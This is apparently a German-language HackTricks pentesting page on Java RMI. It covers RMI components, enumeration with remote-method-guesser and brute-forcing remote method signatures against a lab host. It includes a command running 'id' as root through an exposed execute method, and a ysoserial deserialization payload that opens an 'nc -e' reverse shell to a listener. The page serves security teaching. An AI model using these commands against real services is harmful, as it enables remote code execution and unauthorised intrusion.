1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Unterstützen Sie HackTricks

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Zugang heute erhalten:

Grundinformationen

Java Remote Method Invocation, oder Java RMI, ist ein objektorientierter RPC-Mechanismus, der es einem Objekt, das sich in einer Java-virtuellen Maschine befindet, ermöglicht, Methoden auf einem Objekt in einer anderen Java-virtuellen Maschine aufzurufen. Dies ermöglicht Entwicklern, verteilte Anwendungen unter Verwendung eines objektorientierten Paradigmas zu schreiben. Eine kurze Einführung in Java RMI aus einer offensiven Perspektive finden Sie in diesem Blackhat-Vortrag.

Standardport: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Üblicherweise sind nur die Standard-Java RMI-Komponenten (das RMI-Registry und das Activation System) an gängigen Ports gebunden. Die remote objects, die die tatsächliche RMI-Anwendung implementieren, sind normalerweise an zufällige Ports gebunden, wie im obigen Output gezeigt.

nmap hat manchmal Schwierigkeiten, SSL-geschützte RMI-Dienste zu identifizieren. Wenn Sie auf einen unbekannten SSL-Dienst an einem gängigen RMI-Port stoßen, sollten Sie weiter untersuchen.

RMI-Komponenten

Um es einfach auszudrücken, ermöglicht Java RMI einem Entwickler, ein Java-Objekt im Netzwerk verfügbar zu machen. Dies öffnet einen TCP-Port, über den Clients eine Verbindung herstellen und Methoden auf dem entsprechenden Objekt aufrufen können. Obwohl dies einfach klingt, gibt es mehrere Herausforderungen, die Java RMI lösen muss:

  1. Um einen Methodenaufruf über Java RMI zu versenden, müssen die Clients die IP-Adresse, den lauschernden Port, die implementierte Klasse oder Schnittstelle und die ObjID des Zielobjekts kennen (die ObjID ist ein eindeutiger und zufälliger Identifikator, der erstellt wird, wenn das Objekt im Netzwerk verfügbar gemacht wird. Sie ist erforderlich, da Java RMI mehreren Objekten erlaubt, auf demselben TCP-Port zu lauschen).

  2. Remote-Clients können Ressourcen auf dem Server zuweisen, indem sie Methoden auf dem exponierten Objekt aufrufen. Die Java Virtual Machine muss verfolgen, welche dieser Ressourcen noch verwendet werden und welche davon gesammelt werden können.

Die erste Herausforderung wird durch das RMI-Registry gelöst, das im Grunde ein Namensdienst für Java RMI ist. Das RMI-Registry selbst ist ebenfalls ein RMI-Dienst, aber die implementierte Schnittstelle und die ObjID sind fest und allen RMI-Clients bekannt. Dies ermöglicht es RMI-Clients, das RMI-Registry zu nutzen, indem sie nur den entsprechenden TCP-Port kennen.

Wenn Entwickler ihre Java-Objekte im Netzwerk verfügbar machen möchten, binden sie sie normalerweise an ein RMI-Registry. Das Registry speichert alle Informationen, die erforderlich sind, um eine Verbindung zum Objekt herzustellen (IP-Adresse, lauschernder Port, implementierte Klasse oder Schnittstelle und den ObjID-Wert) und macht sie unter einem menschenlesbaren Namen (dem gebundenen Namen) verfügbar. Clients, die den RMI-Dienst nutzen möchten, fragen das RMI-Registry nach dem entsprechenden gebundenen Namen, und das Registry gibt alle erforderlichen Informationen zur Verbindung zurück. Somit ist die Situation im Grunde die gleiche wie bei einem gewöhnlichen DNS-Dienst. Die folgende Auflistung zeigt ein kleines Beispiel:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Der zweite der oben genannten Herausforderungen wird durch den Distributed Garbage Collector (DGC) gelöst. Dies ist ein weiterer RMI-Dienst mit einem bekannten ObjID-Wert und er ist im Grunde an jedem RMI-Endpunkt verfügbar. Wenn ein RMI-Client beginnt, einen RMI-Dienst zu nutzen, sendet er eine Information an den DGC, dass das entsprechende remote object in Gebrauch ist. Der DGC kann dann die Referenzanzahl verfolgen und ist in der Lage, ungenutzte Objekte zu bereinigen.

Zusammen mit dem veralteten Activation System sind dies die drei Standardkomponenten von Java RMI:

  1. Das RMI Registry (ObjID = 0)

  2. Das Activation System (ObjID = 1)

  3. Der Distributed Garbage Collector (ObjID = 2)

Die Standardkomponenten von Java RMI sind seit einiger Zeit bekannte Angriffsvektoren und mehrere Schwachstellen existieren in veralteten Java-Versionen. Aus der Perspektive eines Angreifers sind diese Standardkomponenten interessant, da sie bekannte Klassen / Schnittstellen implementiert haben und es leicht möglich ist, mit ihnen zu interagieren. Diese Situation ist anders bei benutzerdefinierten RMI-Diensten. Um eine Methode auf einem remote object aufzurufen, müssen Sie die entsprechende Methodensignatur im Voraus kennen. Ohne Kenntnis einer vorhandenen Methodensignatur gibt es keine Möglichkeit, mit einem RMI-Dienst zu kommunizieren.

RMI Enumeration

remote-method-guesser ist ein Java RMI-Schwachstellenscanner, der in der Lage ist, gängige RMI-Schwachstellen automatisch zu identifizieren. Wann immer Sie einen RMI-Endpunkt identifizieren, sollten Sie es versuchen:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Die Ausgabe der Enumerationsaktion wird in den Dokumentationsseiten des Projekts näher erläutert. Je nach Ergebnis sollten Sie versuchen, identifizierte Schwachstellen zu überprüfen.

Die von remote-method-guesser angezeigten ObjID-Werte können verwendet werden, um die Betriebszeit des Dienstes zu bestimmen. Dies kann helfen, andere Schwachstellen zu identifizieren:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Selbst wenn während der Enumeration keine Schwachstellen identifiziert wurden, könnten die verfügbaren RMI Dienste dennoch gefährliche Funktionen offenbaren. Darüber hinaus ist die RMI Kommunikation zu RMI Standardkomponenten zwar durch Deserialisierungsfilter geschützt, jedoch sind solche Filter bei der Kommunikation mit benutzerdefinierten RMI Diensten normalerweise nicht vorhanden. Daher ist es wertvoll, gültige Methodensignaturen für RMI Dienste zu kennen.

Leider unterstützt Java RMI nicht die Enumeration von Methoden auf remote objects. Das gesagt, ist es möglich, Methodensignaturen mit Tools wie remote-method-guesser oder rmiscout zu bruteforcen:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Identifizierte Methoden können wie folgt aufgerufen werden:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Oder Sie können Deserialisierungsangriffe wie folgt durchführen:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Mehr Informationen finden Sie in diesen Artikeln:

Neben dem Raten sollten Sie auch in Suchmaschinen oder GitHub nach der Schnittstelle oder sogar der Implementierung eines gefundenen RMI Dienstes suchen. Der gebundene Name und der Name der implementierten Klasse oder Schnittstelle können hier hilfreich sein.

Bekannte Schnittstellen

remote-method-guesser kennzeichnet Klassen oder Schnittstellen als known, wenn sie in der internen Datenbank des Tools für bekannte RMI services aufgeführt sind. In diesen Fällen können Sie die known-Aktion verwenden, um weitere Informationen über den entsprechenden RMI service zu erhalten:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Tools

References

HackTricks Automatische Befehle

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Zugang heute erhalten:

Unterstützen Sie HackTricks

Last updated